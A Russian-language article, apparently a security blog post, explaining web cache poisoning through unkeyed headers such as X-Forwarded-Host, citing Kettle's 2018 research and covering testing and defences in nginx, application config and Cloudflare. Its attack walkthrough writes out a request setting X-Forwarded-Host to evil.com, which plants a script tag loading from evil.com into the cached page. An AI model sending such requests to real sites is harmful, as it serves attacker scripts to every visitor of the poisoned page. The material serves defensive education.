Web Cache Poisoning: один запрос — тысячи заражённых пользователей.
В предыдущих статьях разбирали атаки которые требуют чтобы жертва что-то сделала — кликнула ссылку, открыла письмо. Web Cache Poisoning работает иначе. Атакующий отправляет один HTTP-запрос и уходит пить кофе. Следующие несколько часов — или дней — все посетители сайта получают заражённую страницу из кэша. Автоматически, без какого-либо взаимодействия.
В 2018 году исследователь James Kettle из PortSwigger показал на Black Hat USA как захватил главную страницу RedHat.com одним запросом. «Мы получили полный контроль над главной страницей RedHat.com, и это оказалось совсем несложно», — сказал он.
КАК РАБОТАЕТ КЭШ CDN
CDN стоит между пользователем и сервером. Когда приходит первый запрос — CDN обращается к серверу, получает ответ и сохраняет его в кэше. Все последующие запросы на тот же URL получают кэшированный ответ без обращения к серверу. Это ускоряет сайт и снижает нагрузку.
Чтобы понять какой ответ отдать, CDN использует ключ кэша — набор параметров запроса которые идентифицируют страницу. Стандартный ключ: метод запроса + URL + заголовок Host.
GET /index.html HTTP/1.1
Host: target.com
# Ключ кэша: GET | target.com | /index.html
Всё что не входит в ключ кэша называется unkeyed input — неключевым входом. CDN его игнорирует при поиске в кэше, но передаёт серверу. Сервер может использовать эти данные для формирования ответа. И вот здесь начинается проблема.
UNKEYED ЗАГОЛОВКИ — СЛЕПОЕ ПЯТНО КЭША
Существуют заголовки которые CDN передаёт серверу но не включает в ключ кэша. Самые распространённые:
X-Forwarded-Host — альтернативный Host для серверов за проксиX-Host — аналог X-Forwarded-HostX-Forwarded-Scheme — протокол (http или https)X-Forwarded-Port — порт
Многие фреймворки и приложения используют эти заголовки для построения абсолютных URL в ответе — в ссылках, скриптах, redirect-адресах. Это удобно для работы за reverse proxy.
Но CDN не включает их в ключ кэша. Значит два запроса с разными X-Forwarded-Host получат один и тот же кэшированный ответ — тот который пришёл первым.
АНАТОМИЯ АТАКИ ШАГ ЗА ШАГОМ
Шаг 1. Атакующий отправляет запрос на главную страницу с подменённым заголовком X-Forwarded-Host:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
Шаг 2. CDN видит запрос, ищет в кэше по ключу GET | target.com | / — кэш пуст или устарел. Запрос уходит на сервер.
Шаг 3. Сервер получает оба заголовка. Он использует X-Forwarded-Host для построения абсолютных URL в ответе. Вместо https://target.com/static/app.js в HTML появляется:
<script src="https://evil.com/static/app.js"></script>
Шаг 4. CDN получает ответ с ядовитым скриптом и кэширует его под ключом GET | target.com | /. Никаких предупреждений — ответ выглядит как обычный.
Шаг 5. Следующие тысячи пользователей открывают главную страницу и получают из кэша HTML со скриптом evil.com/static/app.js. Их браузеры загружают и исполняют этот скрипт. Атакующий давно ушёл.
РЕАЛЬНЫЕ СЛУЧАИ
В августе 2018 года James Kettle представил исследование «Practical Web Cache Poisoning» на Black Hat USA. Он показал атаки на реальные сайты:
RedHat.com — заголовок X-Forwarded-Host использовался для генерации URL Open Graph-тегов в HTML. Kettle подменил его на свой домен, CDN закэшировал ответ. Главная страница RedHat.com начала подгружать ресурсы с сервера атакующего для всех посетителей.
Mozilla Firefox Shield — механизм доставки обновлений и расширений Firefox. Kettle отравил кэш ответа который Firefox получает при запуске браузера. Атака позволяла влиять на поведение браузера у всех пользователей получивших отравленный ответ.
Cloudflare по умолчанию игнорирует заголовок Vary — это зафиксировано в его официальной документации: «Cloudflare does not consider vary values in caching decisions.» Два исключения: Vary: Accept-Encoding поддерживается на всех планах; Vary для изображений — только на платных планах Pro и выше. Для кэш-отравления через X-Forwarded-Host ни то ни другое не помогает.
КАК ПРОВЕРИТЬ СВОЙ САЙТ
Шаг 1. Найти unkeyed заголовки — те что влияют на ответ но не входят в ключ кэша. Делается с cache-buster чтобы не закэшировать нечаянно. Cache-buster — это уникальный параметр в URL (?cb=test123) который делает запрос уникальным и гарантирует что CDN пойдёт на сервер, а не отдаст кэш. Без него тестовый запрос может попасть в кэш и заразить реальных пользователей:
# Добавляем уникальный параметр чтобы не попасть в реальный кэш
curl -s "https://target.com/?cb=test123" \
-H "X-Forwarded-Host: canary.example.com" | grep "canary"
Если в ответе встретилось слово canary.example.com — сервер использует этот заголовок в ответе. Это unkeyed input.
Шаг 2. Проверить кэшируется ли ответ — смотрим на заголовок X-Cache:
curl -sI "https://target.com/" | grep -i "x-cache\|cf-cache\|age"
X-Cache: HIT означает что ответ пришёл из кэша. X-Cache: MISS — с сервера. Age: 120 — ответ в кэше уже 120 секунд.
Если заголовок используется в ответе И ответ кэшируется — сайт потенциально уязвим.
ЗАЩИТА
Не использовать unkeyed заголовки для построения URL
Самая надёжная защита — не доверять заголовкам X-Forwarded-Host, X-Host и их аналогам при генерации ссылок. Базовый URL сайта должен быть задан явно в конфиге:
# Плохо — берём host из заголовка
base_url = request.headers.get('X-Forwarded-Host', request.host)
# Хорошо — берём из конфига
base_url = settings.BASE_URL # https://mysite.com
Удалять опасные заголовки в nginx до приложения
Если приложение не должно видеть эти заголовки — убираем их на уровне nginx:
server {
listen 80;
server_name mysite.com;
# Удаляем заголовки которые могут использоваться для отравления кэша
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Host $host;
location / {
proxy_pass http://backend;
}
}
Здесь мы не просто удаляем заголовок — мы явно выставляем его значение равным $host (реальному хосту из nginx). Приложение получит корректное значение вне зависимости от того что прислал клиент.
Добавить unkeyed заголовки в ключ кэша через Vary
Заголовок Vary в ответе сервера указывает CDN какие заголовки запроса должны входить в ключ кэша. Если добавить туда X-Forwarded-Host — CDN будет кэшировать отдельные ответы для каждого значения этого заголовка:
Vary: X-Forwarded-Host
Важное ограничение: не все CDN уважают Vary. Cloudflare по умолчанию его игнорирует. Поэтому Vary — дополнительная мера, но не основная.
Настроить правила кэширования в Cloudflare
В Cloudflare Cache Rules можно настроить cache key. Базовые опции (кэш по типу устройства, сортировка query string) доступны на всех планах. Добавление конкретных HTTP-заголовков в cache key — функция Enterprise плана. Для планов ниже Enterprise: то же самое можно сделать через Cloudflare Workers (Cache API) без Enterprise-подписки.
В Dashboard → Rules → Cache Rules → Create Rule → Cache key → Add setting.
ТИПИЧНЫЕ ОШИБКИ
Думают что HTTPS защищает от отравления кэша. Не защищает — атака работает на уровне HTTP-заголовков, TLS здесь ни при чём.
Проверяют только главную страницу. Атака работает на любой кэшируемой странице — статических файлах, API-ответах, страницах категорий. Kettle нашёл уязвимости именно на главных страницах потому что они кэшируются агрессивнее всего.
Полагаются только на заголовок Vary. Cloudflare и некоторые другие CDN игнорируют его. Основная защита — на уровне приложения и nginx.
Не удаляют X-заголовки для API-эндпоинтов считая что API не кэшируется. Если CDN настроен агрессивно или разработчик добавил Cache-Control: public — кэшируется.
ИТОГ
Web Cache Poisoning масштабирует Host header атаку до уровня который не требует взаимодействия с жертвой. Один запрос, несколько секунд — и тысячи пользователей получают заражённую страницу пока кэш не обновится.
Насторожиться стоит всем у кого стоит CDN и чьё приложение использует X-Forwarded-Host или похожие заголовки для построения URL. Проверить просто — curl с параметром-маркером и grep на результат.
Защита строится не на CDN, а на приложении и nginx: явный BASE_URL в конфиге, удаление опасных заголовков на reverse proxy, и никакого доверия к тому что прислал клиент в X-заголовках.
